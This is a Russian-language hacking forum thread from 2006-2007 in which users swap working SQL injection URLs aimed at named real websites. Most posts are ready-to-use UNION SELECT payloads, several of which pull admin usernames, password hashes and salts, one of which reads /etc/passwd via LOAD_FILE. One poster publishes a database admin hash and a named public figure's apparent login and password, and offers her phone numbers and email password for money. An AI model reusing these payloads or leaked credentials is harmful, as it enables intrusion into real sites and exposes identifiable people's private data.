SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. MegaDeth

    MegaDeth Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    192
    Likes Received:
    72
    Reputations:
    13
    PHP:
    http://www.aidan-gallery.ru/cgi/wgal.cgi?gid=2708 UNION SELECT 1,2,3,4,5,6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/* 
    так и не подобрал. скока же их там.. до ЖОПЫ.
     
  2. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    === Добавление От меня ===
    Найдены таблицы:
    person
    mysql.user
    forums
    news
    guestbook
    messages
     
  3. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    >>так и не подобрал. скока же их там.. до ЖОПЫ.
    вообще то боян
     
  4. MegaDeth

    MegaDeth Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    192
    Likes Received:
    72
    Reputations:
    13
    млин, сорри.. юзал антибаян, правд... поставте мне минус :D
     
  5. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    393
    Likes Received:
    301
    Reputations:
    52
    www.on-air.mn

    Code:
    http://www.on-air.mn/www/index.php?action=blog.home&blog_id=-6+union+select+1,2,concat(version(),char(58),user()),4,5,6/*
     
  6. XJIOP

    XJIOP Elder - Старейшина

    Joined:
    23 Mar 2005
    Messages:
    40
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.forumworld.info/index.php?act=Arcade&do=stats&gameid='
    
    http://www.forumworld.info/arcade.php?search_type=0&gsearch='
     
  7. wizmo

    wizmo New Member

    Joined:
    27 Jan 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    HTML:
    http://www.hazart.ru/index.php?id=-1+union+select+1,version(),3,4,5,6,1,2/*
     
  8. »Atom1c«

    »Atom1c« Banned

    Joined:
    4 Nov 2006
    Messages:
    234
    Likes Received:
    285
    Reputations:
    92
    www.mapryal.org

     
  9. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    a1tv - Первый Альтернативный Телеканал.
    Code:
    http://a1tv.ru/AOpenCons.php?ID=-1+union+select+1,2,icq,4,5,concat(membername,0x3a,passwd,0x3a,passwordsalt),7,8+from+smf_members+limit+0,1/*
    11000 юзеров

    nick:pass:salt
     
  10. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    alumni.mgimo.ru - ассоциация выпускников МГИМО!!!
    Гламурные падонки;)


    Code:
    http://alumni.mgimo.ru/inner/modules/gallery/gallery.php?act=sho w_gallery&id=123+uni on+select+passwor d+from+mysql.user+limit+0, 1/*
    Доступ к mysql:
    admin: alumnihse
    pass: 0e420e231935eccd

    Да кстати аккаунт Ксении Собчак ;)
    login: ksun
    pass: jcrfh (что по русски - оскар) Мну долго смеялся :D :D :D
     
    #2030 [53x]Shadow, 21 Apr 2007
    Last edited: 22 Apr 2007
    4 people like this.
  11. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Code:
    http://www.kasseinitiatives.com/Login.php?id=-12+union+select+1,2,concat(user(),char(58),version(),char(58),database()),4,5/*
     
  12. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Code:
    http://www.wincleaner.com/products/details.php?uid=-2%20UNION%20SELECT%201,2,3,4,5,6,LOAD_FILE(0x2F6574632F706173737764),8,9,10,11,12,13,14,15,16,17,18,19,20,version(),22/*
    
    http://www.wincleaner.com/products/details.php?uid=-2%20UNION%20SELECT%201,2,3,password,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+users
    
    http://www.wincleaner.com/products/details.php?uid=-2%20UNION%20SELECT%201,2,3,4,5,6,name,8,9,10,11,12,13,14,15,16,17,18,19,20,price,22+from+products
     
  13. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    atmospheriques.com
    http://www.atmospheriques.com/artiste.php?id=-1+union+select+1,2,concat(login,0x3a,pass),4,5,6,7,8+from+admin/*

    obogrev.ru
    http://www.obogrev.ru/page.php?id=-1+union+select+1,2,3/*

    gfbv.de
    http://www.gfbv.de/report.php?id=-1+or+1=version()--

    п.с. аааа i need slip
     
  14. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Дом2 отдыхает!!!(немнооого пьян;)) :D :D :D :D
    Могу подкинуть её дом. телефон и моб. телефон, а так же почту на яндекс с пассом!!! Есествено за вмз, ;) Для ачатовцев бизплатно!!! :D :D :D
    Кто ламонет акк админа к Mysql тому фотки мега секси ксюши в душе!!!(гонево априорно;), сорри за флуд)
     
    #2034 [53x]Shadow, 22 Apr 2007
    Last edited: 22 Apr 2007
  15. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    Code:
    http://www.autobazar.od.ua/katalog.php?id=1&brands=-70+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),4,5/*
    вроде в антибояне нету
     
    #2035 }{0TT@БЬ)Ч, 22 Apr 2007
    Last edited by a moderator: 22 Apr 2007
  16. s1mt

    s1mt Member

    Joined:
    18 Apr 2007
    Messages:
    15
    Likes Received:
    6
    Reputations:
    0
    http://www.lorgg.org/index.php?p=gal_werk&wID=-1+union+select+1,2,3,4,version(),6
     
  17. V.I.P

    V.I.P Elder - Старейшина

    Joined:
    6 Apr 2007
    Messages:
    69
    Likes Received:
    45
    Reputations:
    -6
    PHP:
    http://www.flirtanica.ru/articles1.php?id=-24+union+select+1,version(),3,4,5/*
    PHP:
    http://love.shimkent.info/screen.php?id=127'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
    PHP:
    http://date.inter.by/anketa.php?id='+union+select+1,2,3,4,concat(name,char(58),sex,char(58),icq),6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10+from+users+limit+22,1/*
    PHP:
    http://www.rocit.ru/news/shownews.php3?id=-14192+union+select+1,2,3,4,version(),6,7,8,9,10/*
    PHP:
    http://www.popgurls.com/article_show.php3?id=-546+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,version()/*
    PHP:
    http://www.cageprisoners.com/page.php?id=-3+union+select+1,password,username+from+admins+limit+8,1/*
    aдминка-http://www.cageprisoners.com/admin/login.php?accessdenied=%2Fadmin%2F

    PHP:
    http://www.mcbooks.com/bookstore/product_details.php?id=-229+order+by+73/*

    Если что бояном не бейте :)
     
  18. s1mt

    s1mt Member

    Joined:
    18 Apr 2007
    Messages:
    15
    Likes Received:
    6
    Reputations:
    0
    http://www.flirtanica.ru
    http://www.rocit.ru
    http://www.popgurls.com

    было! Юзай гугл!
     
  19. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://www.dancenter.ru/articals.php?id=-21+union+select+concat(user(),char(58),version(),char(58),database(),char(58)),2,3,4/*
     
  20. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    http://www.topmobila.com.ua/t.php?id=-1+union+select+1,2,3,4,USER(),6,7,8,9,0,1,2,3,4,5,6,7+admins/*

    ни админки ни полей ненашёл(да и не искал :) сильно)
     
Thread Status:
Not open for further replies.